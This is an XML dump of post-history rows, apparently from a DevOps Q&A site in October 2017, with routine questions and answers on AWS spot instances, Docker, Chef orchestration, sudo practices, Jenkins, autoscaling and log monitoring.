  <row Id="7445" PostHistoryTypeId="2" PostId="2371" RevisionGUID="f279ff90-0dac-48cf-9bb9-d55ec685aee7" CreationDate="2017-10-19T15:29:27.987" UserId="4797" Text="You can definitely cancel your spot instance requests via the Management Console and via the CLI. There appears to be a command to terminate the instance also.&#xD;&#xA;&#xD;&#xA;See the following AWS docs as a reference:&#xD;&#xA;&#xD;&#xA;[AWS Docs - Cancel Spot Instance][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-requests.html#using-spot-instances-cancel&#xD;&#xA;&#xD;&#xA;Hope this helps.." ContentLicense="CC BY-SA 3.0" />
  <row Id="7446" PostHistoryTypeId="5" PostId="2371" RevisionGUID="3280ff72-ef11-47c4-8197-032200df01ba" CreationDate="2017-10-19T15:37:49.860" UserId="4797" Comment="added 158 characters in body" Text="You can definitely cancel your spot instance requests via the Management Console and via the CLI. There appears to be a command to terminate the instance also.&#xD;&#xA;&#xD;&#xA;See the following AWS docs as a reference:&#xD;&#xA;&#xD;&#xA;[AWS Docs - Cancel Spot Instance][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-requests.html#using-spot-instances-cancel&#xD;&#xA;&#xD;&#xA;As for terminating just the spot instance, I'm not sure but I think the, still active, spot request would spin up the instance once the spot price matches the request again.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7447" PostHistoryTypeId="2" PostId="2372" RevisionGUID="385c5c11-8d73-4812-b564-73a2026194ce" CreationDate="2017-10-19T15:54:39.970" UserId="2805" Text="This feature [is not supported](https://github.com/docker/hub-feedback/issues/334) as the issue in the link says.&#xD;&#xA;&#xD;&#xA;They promised it for late 2016 but now at 2017 the issue is still open.&#xD;&#xA;&#xD;&#xA;One comment was to look for [gitlab CI](https://about.gitlab.com/features/gitlab-ci-cd/), which might be my best guess of workaround  for now, waiting the Docker Hub version to come. " ContentLicense="CC BY-SA 3.0" />
  <row Id="7448" PostHistoryTypeId="5" PostId="2371" RevisionGUID="e01ed152-5141-4a43-9e5c-1aa1a688a8a6" CreationDate="2017-10-19T16:24:35.603" UserId="4797" Comment="added 167 characters in body" Text="You can definitely cancel your spot instance requests via the Management Console and via the CLI. There appears to be a command to terminate the instance also.&#xD;&#xA;&#xD;&#xA;See the following AWS docs as a reference:&#xD;&#xA;&#xD;&#xA;[AWS Docs - Cancel Spot Instance][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-requests.html#using-spot-instances-cancel&#xD;&#xA;&#xD;&#xA;As for terminating just the spot instance, I'm not sure but I think the, still active, spot request would spin up the instance once the spot price matches the request again.&#xD;&#xA;&#xD;&#xA;** Edit **&#xD;&#xA;&#xD;&#xA;Worth noting that if you terminate the spot instance within an instance hour then you pay for the full hour, even if you only used a few minutes of it." ContentLicense="CC BY-SA 3.0" />
  <row Id="7450" PostHistoryTypeId="2" PostId="2373" RevisionGUID="f22fa4b4-1e07-4b2c-8bd9-3229daabd103" CreationDate="2017-10-19T22:34:10.353" UserId="4369" Text="    docker run -ti --rm \&#xD;&#xA;      -v $PWD:/workdir \&#xD;&#xA;      -v $HOME/.ssh:/root/.ssh \&#xD;&#xA;      --user $(id -u):$(id -g) \&#xD;&#xA;      dockerizedxyz &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;As long as you're not doing anything funny with the entrypoint in the container, this will leave files owned as the user that invoked Docker." ContentLicense="CC BY-SA 3.0" />
  <row Id="7451" PostHistoryTypeId="4" PostId="2342" RevisionGUID="dea6d8c3-4c7a-4495-8574-84cc7e611bab" CreationDate="2017-10-20T00:28:53.133" UserId="47" Comment="fixed typo in title" Text="Using docker with users leaves files belonging to the subuid/subgid" ContentLicense="CC BY-SA 3.0" />
  <row Id="7452" PostHistoryTypeId="2" PostId="2374" RevisionGUID="1752412d-2127-40d3-9a87-69d64c0e737f" CreationDate="2017-10-20T09:00:50.193" UserId="786" Text="I have an application I would like to configure using Chef that spans multiple nodes. Let's say that the process of doing it consists of&#xD;&#xA;&#xD;&#xA; 1. Do a thing on node A capturing the output&#xD;&#xA; 2. Do another thing on node B with that output&#xD;&#xA; 3. Back to node A now for some operation&#xD;&#xA; 4. Now on node B again&#xD;&#xA; 5. ...&#xD;&#xA;&#xD;&#xA;One way to do this would be to write a recipe that stored the stage it was on on each node and just keep running it on both nodes repeatedly until eventually it had a chance to do all operations on all nodes. But this is clumsy and won't scale if there's node C, D, etc. I obv know about [notify][1] to sequence dependencies within a single node, but that won't work across multiple nodes. I can't be the only person who needs this, so is there a mechanism or a design pattern/best practice/TTP for this style of activity?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/resource_common.html#notifications" ContentLicense="CC BY-SA 3.0" />
  <row Id="7453" PostHistoryTypeId="1" PostId="2374" RevisionGUID="1752412d-2127-40d3-9a87-69d64c0e737f" CreationDate="2017-10-20T09:00:50.193" UserId="786" Text="Using Chef for multi-node operations" ContentLicense="CC BY-SA 3.0" />
  <row Id="7454" PostHistoryTypeId="3" PostId="2374" RevisionGUID="1752412d-2127-40d3-9a87-69d64c0e737f" CreationDate="2017-10-20T09:00:50.193" UserId="786" Text="&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7455" PostHistoryTypeId="2" PostId="2375" RevisionGUID="8e650527-94e7-4ccf-9d27-560d2b5058f2" CreationDate="2017-10-20T09:05:36.197" UserId="13" Text="In short, Chef may not be the tool to use here.&#xD;&#xA;&#xD;&#xA;Chef is a convergent model, so you have to write your recipes in an idempotent way such as after some runs it will be at the desired state according to the others nodes around.&#xD;&#xA;&#xD;&#xA;you approach about storing the state sounds the way to go, and you'll ahve to use an external orchestrator to schedule the chef-client runs alternatively on A and B." ContentLicense="CC BY-SA 3.0" />
  <row Id="7456" PostHistoryTypeId="5" PostId="2375" RevisionGUID="fe579578-2f9c-4104-9c55-c5d495d5c30c" CreationDate="2017-10-20T09:14:07.247" UserId="13" Comment="added 1 character in body" Text="In short, Chef may not be the tool to use here.&#xD;&#xA;&#xD;&#xA;Chef is a convergent model, so you have to write your recipes in an idempotent way such as after some runs it will be at the desired state according to the others nodes around.&#xD;&#xA;&#xD;&#xA;Your approach about storing the state sounds the way to go, and you'll have to use an external orchestrator to schedule the chef-client runs alternatively on A and B." ContentLicense="CC BY-SA 3.0" />
  <row Id="7458" PostHistoryTypeId="2" PostId="2376" RevisionGUID="88118b30-22ee-468c-84b5-9575a00f649c" CreationDate="2017-10-20T16:04:31.757" UserId="2845" Text="No, it's actually *really good* security practice to sudo when you need higher level privileges. This is the reason that most distributions prohibit default login and actually force you to `sudo su` instead of just typing `su` - they want to encourage you to use sudo for it's security benefits. There are few reasons why:&#xD;&#xA;&#xD;&#xA;* **Auditing.** When you sudo, the system keeps a record of *who* sudoed and the command they ran. This adds a great deal forensically when you need to go back and figure out what happened - to assign blame, catch nefarious activities or just for troubleshooting purposes (what in the hell happened last night at 7PM before this server went AWOL?)&#xD;&#xA;&#xD;&#xA;* **Sudo rules.** Just because a user needs to run *something* with escalated privleges doesn't mean that they need to run *everything* with escalated privleges. Using su or adding a user to wheel allows a user to do *everything*. With sudo however, it is possible to specify what users can and cannot do using [Command Aliases](https://help.ubuntu.com/community/Sudoers#Command_Aliases) which allow for the use of wildcards, thereby allowing for flexible rules that grant users privleges to use some commands, but not others.&#xD;&#xA;&#xD;&#xA;* **Hardening.** It is possible to disable root. As in, for all intents and purposes, it doesn't exist and is only useful/usable in single user mode - requiring a reboot of a server (and the only reason this is allowed is for password recovery). `sudo su` no longer works. This is done by [setting root's shell to /bin/nologin.](https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/4/html/Security_Guide/s2-wstation-privileges-noroot.html) which is a great way to prevent many root escalation vulnerabilities. This, of course assumes that you are properly using the bullet above (and you can still grant a specific, admin user all permissions, though this will undermine your security stance). &#xD;&#xA;&#xD;&#xA;These things are, of course, only part of your security model. &#xD;&#xA;For example, unless you have no users with full administrative privileges (and sometimes even then) your user may be able (probably is able) to delete logs and history - unless you use a log server and syslog to ship logs off-box. Then there's no way to put that cat back in the bag. Of course, if you use a central authentication directory structure, then this comes back into play: If I compromise one account, it is compromised on *all* the servers in the organization - including probably your log server.&#xD;&#xA;&#xD;&#xA;In short, security is complicated, but sudo is a great tool in architecting a secure environment and more people should be using it to it's fullest extent." ContentLicense="CC BY-SA 3.0" />
  <row Id="7459" PostHistoryTypeId="2" PostId="2377" RevisionGUID="1a0ba82c-36d6-4172-95a9-93eafb96c131" CreationDate="2017-10-20T16:29:47.917" UserId="4328" Text="This is a textbook example of server [orchestration][1] and is something that Chef inherently is not intended to do. As noted by Tensibai, a server running Chef is a convergent system that achieves its own desired state based upon configuration settings set by recipes, attributes, data bags, etc. Without getting in to specific details about your infrastructure, a few approaches that you might be able to take are:&#xD;&#xA;&#xD;&#xA;**Create independent idempotent operations**&#xD;&#xA;&#xD;&#xA;As you stated in your question, creating a state of operation where your nodes could run repeatedly until all tasks have completed does not scale well. It may be possible however to redesign your nodes so that it doesn't matter. If nodes a and b run tasks to output their logs in parallel, and b completes before a, it could run the task that node a would normally run and vice-versa.  &#xD;&#xA;&#xD;&#xA;**Use an external orchestrator for delegation** &#xD;&#xA;&#xD;&#xA;Using a delegator node will definitely scale much better if you intend to have many nodes to orchestrate. However, this could create conflicts with your chef client runs on the nodes being managed by the delegator. It would be very difficult to verify that your node configurations and the delegator node tasks do not conflict with each other. A clever way to manage this could be to incorporate the tasks in the configuration of each node and have the delegator set a value in a data bag or and attribute of the server to signal how it should configure itself (i.e. what tasks it needs to perform). &#xD;&#xA;&#xD;&#xA;**Combine your infrastructure**&#xD;&#xA;&#xD;&#xA;If each node runs it tasks serially depending upon the other nodes, and you have no cost/technical dependencies on running tasks on different nodes, You may want to consider combining your node configurations into one single node. This would eliminate any configuration conflicts you would have between any of your nodes. I imagine there are clear intentions for running your tasks on different nodes, but this is definitely an option to consider (maybe even at the cost of time to rewrite tasks for different nodes). &#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Orchestration_(computing)" ContentLicense="CC BY-SA 3.0" />
  <row Id="7460" PostHistoryTypeId="2" PostId="2378" RevisionGUID="b403aa91-ece7-4d70-a462-77f3a6507b87" CreationDate="2017-10-20T17:20:41.750" UserId="4234" Text="I head that the present DevOps jobs were previous know as build and release engineer. I want to go back to past 10 years. What would be the different job position roles a personal might have played from past 10 yes?&#xA;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7461" PostHistoryTypeId="1" PostId="2378" RevisionGUID="b403aa91-ece7-4d70-a462-77f3a6507b87" CreationDate="2017-10-20T17:20:41.750" UserId="4234" Text="Evolution of DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7462" PostHistoryTypeId="3" PostId="2378" RevisionGUID="b403aa91-ece7-4d70-a462-77f3a6507b87" CreationDate="2017-10-20T17:20:41.750" UserId="4234" Text="&lt;continuous-delivery&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7463" PostHistoryTypeId="2" PostId="2379" RevisionGUID="ae06f4e9-fda4-4c76-9b7d-ead6f34746a1" CreationDate="2017-10-20T19:15:34.910" UserId="4175" Text="I don't view DevOps as a job position. Yes, I also have job offers out there for titles like &quot;DevOps Engineer&quot; [sic], but that just means I am looking for people who mainly can take a team with little DevOps knowhow and guide them along (be it through just doing the bulk of the work, or evangelism or whatever). But at the end of the day, everybody on the team needs to have a working understanding at least of what's going on.&#xD;&#xA;&#xD;&#xA;DevOps is more of a feeling, a culture, and a set of common tools and techniques. A guideline if you wish. With memes like having the same environment across dev, qs, prod, immutable containers being shipped across all those, &quot;everything as code&quot;, applying Agile and Lean to ops, having devs and ops in the same team and such." ContentLicense="CC BY-SA 3.0" />
  <row Id="7464" PostHistoryTypeId="2" PostId="2380" RevisionGUID="aa882abb-e621-4391-b83c-c28e287a9d15" CreationDate="2017-10-20T19:40:37.473" UserId="210" Text="After upgrading Jenkins the issue was solved. It turned out that the issue was version related." ContentLicense="CC BY-SA 3.0" />
  <row Id="7465" PostHistoryTypeId="2" PostId="2381" RevisionGUID="bf2a2abe-cb26-40ed-987f-813cec60d36e" CreationDate="2017-10-20T19:56:33.313" UserId="210" Text="One could use the [PollSCM plugin][1].&#xD;&#xA;&#xD;&#xA;https://jenkins.io/doc/book/pipeline/syntax/&#xD;&#xA;&#xD;&#xA;    triggers { pollSCM('H 4/* 0 0 1-5') }&#xD;&#xA;&#xD;&#xA;&gt; The pollSCM trigger is only available in Jenkins 2.22 or later.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/PollSCM+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="7466" PostHistoryTypeId="2" PostId="2382" RevisionGUID="58cc4dd2-0d1d-48a6-a40c-a89a4af16735" CreationDate="2017-10-20T20:06:36.867" UserId="210" Text="&gt; then I can tag the codebase whatever I want like v.0.1&#xD;&#xA;&#xD;&#xA;One could use [semantic versioning][1], i.e. X.Y.Z. instead of v.0.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://semver.org/" ContentLicense="CC BY-SA 3.0" />
  <row Id="7467" PostHistoryTypeId="5" PostId="1196" RevisionGUID="2fb63fae-2b91-44f1-9e01-c554217d5776" CreationDate="2017-10-20T20:39:39.140" UserId="40" Comment="Integrate comments from OPer " Text="What are available - free and commercial - solutions to create reports about components used in a software project (physically, set of source code repositories), with intelligence on features like security situation and license model of used open source components?&#xD;&#xA;&#xD;&#xA;One prominent example is - or was - Nexus Enterprise, but are there other solutions?&#xD;&#xA;&#xD;&#xA;An open source monitor that comes to my mind is the Census project for security monitoring:&#xD;&#xA;https://github.com/linuxfoundation/cii-census&#xD;&#xA;&#xD;&#xA;**Note**: my impression about Nexus Enterprise is about 2 years old, since then the product name and scope has changed afaik and there are also competitors like Seerene." ContentLicense="CC BY-SA 3.0" />
  <row Id="7468" PostHistoryTypeId="2" PostId="2383" RevisionGUID="fe450681-00b3-47e8-bead-fe2b058da546" CreationDate="2017-10-20T21:07:34.247" UserId="210" Text="Based on this&#xD;&#xA;&#xD;&#xA;&gt; The smaller gear moves much faster than the larger one, but where the&#xD;&#xA;&gt; two gears interlock they remain aligned to not stop the motion.&#xD;&#xA;&#xD;&#xA;and this quote&#xD;&#xA;&#xD;&#xA;&gt; The whole idea of the Multi-Speed IT is to make the delivery of&#xD;&#xA;&gt; functionality less interdependent. On the flip side, you need to spend&#xD;&#xA;&gt; more effort on getting the right practices and tools in place to&#xD;&#xA;&gt; support this. For example you want to make sure that you can quickly&#xD;&#xA;&gt; test the different interface versions with automated testing, you need&#xD;&#xA;&gt; to have good version control to make sure you have in place the right&#xD;&#xA;&gt; components for each application, you also want to make sure you can&#xD;&#xA;&gt; manage your codeline very well through abstractions and branching&#xD;&#xA;&gt; where required. And the basics of configuration management, packaging&#xD;&#xA;&gt; and deployment will become even more important as you want to reduce&#xD;&#xA;&gt; the number of variables you have to deal with in your environments.&#xD;&#xA;&gt; You better remove those variables introduced through manual steps by&#xD;&#xA;&gt; having these processes completely automated.&#xD;&#xA;&#xD;&#xA;from [this post][1] one could say that the multi-speed IT approach could be aligned with DevOps as it is aware about multiple departments and processes in an organization and that these do not need to align in terms of velocity as long as these get less dependent. For example, multiple DevOps teams could create a different amount of features every sprint without thwarting each other as long as the components are versionized, backward compatible and well documented.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://dzone.com/articles/how-support-multi-speed-it" ContentLicense="CC BY-SA 3.0" />
  <row Id="7469" PostHistoryTypeId="2" PostId="2384" RevisionGUID="3710d1c6-910f-4eb0-9437-5cbf5e596691" CreationDate="2017-10-20T21:10:54.640" UserId="210" Text="One could use [SCM polling][1] and specify different branches that need to be polled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/PollSCM+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="7472" PostHistoryTypeId="2" PostId="2386" RevisionGUID="73ab4df0-f14a-4b07-87e8-de665fb1f928" CreationDate="2017-10-21T02:47:45.920" UserId="4369" Text="At the moment I have an AutoScaling Group of GoCD build agents without any scaling policies. I have created some custom metrics that indicate how many build agents are currently idle and I'd like to scale based off of that. My concern is that when scaling down, the ASG may terminate instances that are in the middle of a build. This may result in failed builds and delayed builds.&#xD;&#xA;&#xD;&#xA;How can I scale down an ASG without terminating instances that are in use?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7473" PostHistoryTypeId="1" PostId="2386" RevisionGUID="73ab4df0-f14a-4b07-87e8-de665fb1f928" CreationDate="2017-10-21T02:47:45.920" UserId="4369" Text="Autoscaling on GoCD agents without terminating active builds?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7474" PostHistoryTypeId="3" PostId="2386" RevisionGUID="73ab4df0-f14a-4b07-87e8-de665fb1f928" CreationDate="2017-10-21T02:47:45.920" UserId="4369" Text="&lt;continuous-integration&gt;&lt;amazon-ec2&gt;&lt;continuous-deployment&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7475" PostHistoryTypeId="2" PostId="2387" RevisionGUID="edf4e037-d7d4-471a-a2b8-3e1cb4585ebe" CreationDate="2017-10-21T03:02:36.700" UserId="4369" Text="To be able to scale in with confidence, there's a few strategies:&#xD;&#xA;&#xD;&#xA; - Create a 3rd custom metric which tracks the greater of the two metrics. For example, if CPU allocation is at 60% and memory allocation is at 70%, the metric should be set to 70%.&#xD;&#xA; - Choose one of the two resources (CPU or memory), and always allocate a higher percentage of it to each container compared to the other resource. This way, you will always reach a shortage of your preferred resource before the other, and you don't have to worry about scaling up or down on it. While this is the easiest solution, the obvious downside is that you can't optimise for services that may be CPU or memory intensive, and you may end up with wasted resources.&#xD;&#xA; - Do autoscaling without using CloudWatch metrics. Tools such as https://github.com/ameir/ECSpander are available to assist with this." ContentLicense="CC BY-SA 3.0" />
  <row Id="7477" PostHistoryTypeId="2" PostId="2388" RevisionGUID="b15a4e84-bc54-45bd-8272-b752a0a1c7c2" CreationDate="2017-10-21T08:25:30.407" UserId="4813" Text="We have three servers that are running python programs that are running data analysis tasks inside a tmux session. The method we are using atm is ssh'ing into each of them connecting the tmux session and watching the output on the command line. &#xD;&#xA;&#xD;&#xA;This method is tedious, so what we are looking for is a solution that automates monitoring of program progress(output on cli) for multiple servers at the same time. We would ideally like a web ui solution but a cli would also be perfectly suitable.&#xD;&#xA;&#xD;&#xA;Thank you for reading." ContentLicense="CC BY-SA 3.0" />
  <row Id="7478" PostHistoryTypeId="1" PostId="2388" RevisionGUID="b15a4e84-bc54-45bd-8272-b752a0a1c7c2" CreationDate="2017-10-21T08:25:30.407" UserId="4813" Text="Monitor program progress on multiple servers" ContentLicense="CC BY-SA 3.0" />
  <row Id="7479" PostHistoryTypeId="3" PostId="2388" RevisionGUID="b15a4e84-bc54-45bd-8272-b752a0a1c7c2" CreationDate="2017-10-21T08:25:30.407" UserId="4813" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7480" PostHistoryTypeId="50" PostId="2095" RevisionGUID="04c6a792-fa60-48eb-b0a1-c911b97e8a02" CreationDate="2017-10-21T10:54:15.680" UserId="-1" />
  <row Id="7482" PostHistoryTypeId="2" PostId="2389" RevisionGUID="37b22e27-c8c3-4a1d-8c86-f04c09ff061e" CreationDate="2017-10-21T15:46:00.110" UserId="960" Text="Any time you're running ad-hoc long-running commands, you should step back and rethink your process, because that should be automated, including error handling.&#xA;&#xA;Rather than connecting in to the servers to see status, a better approach is to push that information out. You can do a wide variety of things if your want to write a bunch of custom code, but the simplest thing is probably to start sending the output through syslog to a centralized logging system (syslog itself, or ELK, or whatever). That way you can monitor everything from a central location.&#xA;&#xA;Thinking forward, if this isn't a one-off task, monitoring should be automated. That is, you should never have to just watch logs to see if things are progressing as they're supposed to. Instead, you should assume they are (and continue with other work) *until your alerting fires off*. This is an investment of time into getting reliable and wide-coverage alerting, but as your systems grow in complexity, it will pay off as you don't have to monitor **everything** any time you change **anything**." ContentLicense="CC BY-SA 3.0" />
  <row Id="7486" PostHistoryTypeId="50" PostId="1725" RevisionGUID="a779b238-ee85-4a34-a011-7a375b051e27" CreationDate="2017-10-21T16:55:57.930" UserId="-1" />
  <row Id="7487" PostHistoryTypeId="50" PostId="1579" RevisionGUID="10e756ff-bef6-4da6-8849-1cbb304ca0d6" CreationDate="2017-10-21T17:55:58.890" UserId="-1" />
  <row Id="7488" PostHistoryTypeId="50" PostId="2102" RevisionGUID="dc3330a7-8dbb-42e8-a899-ed31cc68f05e" CreationDate="2017-10-22T13:43:02.713" UserId="-1" />
  <row Id="7489" PostHistoryTypeId="5" PostId="172" RevisionGUID="d1f31f96-93e1-437b-90a1-b7430614a28d" CreationDate="2017-10-22T13:51:49.877" UserId="3" Comment="Improves grammar." Text="The installation of Windows application can be automated using [AutoHotkey][1] (AHK), similar as [Winetricks][2] does this for all common apps which support.&#xD;&#xA;&#xD;&#xA;Here is example of AHK script which aims to install mentioned application:&#xD;&#xA;&#xD;&#xA;    Run, mt5setup.exe&#xD;&#xA;    WinWait, MetaTrader 5 Setup&#xD;&#xA;    ControlClick, Button1&#xD;&#xA;    Sleep 100&#xD;&#xA;    ControlClick, Button3&#xD;&#xA;    WinWait, MetaTrader 5 Setup, Installation successfully completed&#xD;&#xA;    ControlClick, Button4&#xD;&#xA;    Process, Wait, terminal.exe&#xD;&#xA;    Process, Close, terminal.exe&#xD;&#xA;&#xD;&#xA;To integrate it with CI, AHK needs to be installed by downloading ZIP file, uncompressing it and passing the above AHK script. Suggested `appveyor.yml` file:&#xD;&#xA;&#xD;&#xA;    install:&#xD;&#xA;    - curl -sLo https://www.metatrader5.com/en/download&#xD;&#xA;    - curl -sLo http://www.autohotkey.com/download/AutoHotkey104805.zip&#xD;&#xA;    - unzip *.zip&#xD;&#xA;    before_test:&#xD;&#xA;    - dir&#xD;&#xA;    test_script:&#xD;&#xA;    - AutoHotkey.exe install.ahk&#xD;&#xA;    build: off&#xD;&#xA;    platform: x86&#xD;&#xA;&#xD;&#xA;where `install.ahk` is the file to contain above AHK script which can be dynamically generated or downloaded from some repository.&#xD;&#xA;&#xD;&#xA;  [1]: https://autohotkey.com/&#xD;&#xA;  [2]: https://github.com/Winetricks/winetricks/blob/master/src/winetricks" ContentLicense="CC BY-SA 3.0" />
  <row Id="7490" PostHistoryTypeId="50" PostId="731" RevisionGUID="90036c3f-05df-4809-8d78-4b0151d291c6" CreationDate="2017-10-23T03:52:27.310" UserId="-1" />
  <row Id="7491" PostHistoryTypeId="2" PostId="2391" RevisionGUID="6aa5eaa6-7c9b-41b9-b066-8596c257beee" CreationDate="2017-10-23T04:27:58.217" UserId="3752" Text="I agree with @Xiong Chiamiov and I want to give more clarify option.&#xD;&#xA;If you want every line in the CLI to be monitored, I would suggest to redirect all the output to specific file and the error to another file, then user [logstash][1] or [filebeat][2] to send both of this files to [Elasticsearch][3], then you can configure [Logtril][4] with [Kibana][5] to give you view, analyze, search and tail log events from multiple hosts in realtime with devops friendly interface&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/products/logstash&#xD;&#xA;  [2]: https://www.elastic.co/products/beats/filebeat&#xD;&#xA;  [3]: https://www.elastic.co/products/elasticsearch&#xD;&#xA;  [4]: https://github.com/sivasamyk/logtrail&#xD;&#xA;  [5]: https://www.elastic.co/products/kibana" ContentLicense="CC BY-SA 3.0" />
  <row Id="7492" PostHistoryTypeId="5" PostId="2391" RevisionGUID="f893b7ab-a3fd-4811-ae65-5794a7315318" CreationDate="2017-10-23T04:39:11.513" UserId="3752" Comment="deleted 1 character in body" Text="I agree with @Xiong Chiamiov and I want to give more clarify option.&#xD;&#xA;If you want every line in the CLI to be monitored, I would suggest to redirect all the output to specific file and the error to another file, then use [logstash][1] or [filebeat][2] to send both of this files to [Elasticsearch][3], then you can configure [Logtril][4] with [Kibana][5] to give you view, analyze, search and tail log events from multiple hosts in realtime with devops friendly interface&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.elastic.co/products/logstash&#xD;&#xA;  [2]: https://www.elastic.co/products/beats/filebeat&#xD;&#xA;  [3]: https://www.elastic.co/products/elasticsearch&#xD;&#xA;  [4]: https://github.com/sivasamyk/logtrail&#xD;&#xA;  [5]: https://www.elastic.co/products/kibana" ContentLicense="CC BY-SA 3.0" />
  <row Id="7493" PostHistoryTypeId="2" PostId="2392" RevisionGUID="e25006b7-04fa-4461-b5d5-8d3cb3cfe512" CreationDate="2017-10-23T05:06:41.737" UserId="3752" Text="I have a docker compose file with `.env` file, for example the `.env` file has this `HOSTNAME=a1.test.com`, and a `docker-compose` file has this:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    extra_hosts:&#xD;&#xA;      - &quot;${HOSTNAME}:1.1.1.1&quot;&#xD;&#xA;      - &quot;test.com:1.1.1.1&quot;&#xD;&#xA;&#xD;&#xA;When I run the container the `/etc/hosts` file content is: &#xD;&#xA;&#xD;&#xA;    1.1.1.1          &#xD;&#xA;    1.1.1.1    test.com&#xD;&#xA;&#xD;&#xA;So the docker compose not putting the variable data during the run process.&#xD;&#xA;&#xD;&#xA;I tried this `hostname: &quot;${HOSTNAME}&quot;` and it is working fine the host name of the container is correct `a1.test.com`.&#xD;&#xA;&#xD;&#xA;Any idea how can achieve what I want?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7494" PostHistoryTypeId="1" PostId="2392" RevisionGUID="e25006b7-04fa-4461-b5d5-8d3cb3cfe512" CreationDate="2017-10-23T05:06:41.737" UserId="3752" Text="Docker compose host variable in extra_hosts not working" ContentLicense="CC BY-SA 3.0" />
  <row Id="7495" PostHistoryTypeId="3" PostId="2392" RevisionGUID="e25006b7-04fa-4461-b5d5-8d3cb3cfe512" CreationDate="2017-10-23T05:06:41.737" UserId="3752" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7496" PostHistoryTypeId="2" PostId="2393" RevisionGUID="57e53d1d-1d47-4d4c-a667-0f16bb65f8a3" CreationDate="2017-10-23T06:33:50.193" UserId="3533" Text="I've tried your case, and it works fine on my side:&#xD;&#xA;&#xD;&#xA;    version: '2'&#xD;&#xA;      services:&#xD;&#xA;        test:&#xD;&#xA;          image: ubuntu:16.04&#xD;&#xA;          command: sleep 9999&#xD;&#xA;        extra_hosts:&#xD;&#xA;          - &quot;${HOSTNAME}:1.1.1.1&quot;&#xD;&#xA;          - &quot;test.com:1.1.1.1&quot;&#xD;&#xA;&#xD;&#xA;and here is what I get in the container&#xD;&#xA;&#xD;&#xA;    cat /etc/hosts&#xD;&#xA;    ...&#xD;&#xA;    1.1.1.1	a1.test.com&#xD;&#xA;    1.1.1.1	test.com" ContentLicense="CC BY-SA 3.0" />
  <row Id="7498" PostHistoryTypeId="2" PostId="2394" RevisionGUID="dc4088a5-d361-4e53-8dba-0c00d1dac494" CreationDate="2017-10-23T13:42:16.803" UserId="3276" Text="I am going to be attached to a small project that basically organizes the users in a cluster of AWS Linux servers. The servers users assigned have different UIDS and maybe different GUIDs. I am hoping to use Ansible to fix this up and organize users better. I can get Ansible to run on a test environment but one thing has got me nervous is that /etc/passwd gets completely screwed up! So my questions are as follows:&#xD;&#xA;&#xD;&#xA; 1. Would a better approach be to overwrite /etc/passwd using Ansible. So basically I have a template of /etc/passwd and use a combination of Jinja2 and Ansible vault to rewrite the values in /etc/passwd (I am currently doing this with sudoers and it works well)? If this is the case, would I need to do anything with /etc/shadow or am I safe there?&#xD;&#xA; 2. Is Ansible smart enough where I won't need to use /etc/passwd? For example, I have user bob assigned to UID 5001 when he should be consistently assigned 5002. If I was to readd the user using the users module and specifically assign 5002 to his UID, would that work better?&#xD;&#xA;&#xD;&#xA;Please let me know if you need any more information." ContentLicense="CC BY-SA 3.0" />
  <row Id="7499" PostHistoryTypeId="1" PostId="2394" RevisionGUID="dc4088a5-d361-4e53-8dba-0c00d1dac494" CreationDate="2017-10-23T13:42:16.803" UserId="3276" Text="Approaching user adds and edits with Ansible" ContentLicense="CC BY-SA 3.0" />
  <row Id="7500" PostHistoryTypeId="3" PostId="2394" RevisionGUID="dc4088a5-d361-4e53-8dba-0c00d1dac494" CreationDate="2017-10-23T13:42:16.803" UserId="3276" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="7501" PostHistoryTypeId="2" PostId="2395" RevisionGUID="3cb23223-cdfc-4e83-b402-001b7e47ca0a" CreationDate="2017-10-23T14:00:14.580" UserId="4289" Text="**Background**&#xD;&#xA;&#xD;&#xA;Using Terraform to deploy to a *test group* and then when it has been deployed, run tests on the virtual machines to ensure they have been configured correctly.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;I'm using GitLabs Triggers API to run a pipeline from a project, however would like it to run on this newly created virtual machine. &#xD;&#xA;&#xD;&#xA;What would be the best way of parsing this information to the GitLab API, or would something like tags be the best way of doing this?" ContentLicense="CC BY-SA 3.0" />
  <row Id="7502" PostHistoryTypeId="1" PostId="2395" RevisionGUID="3cb23223-cdfc-4e83-b402-001b7e47ca0a" CreationDate="2017-10-23T14:00:14.580" UserId="4289" Text="GitLab - trigger pipeline to build on specific runner" ContentLicense="CC BY-SA 3.0" />
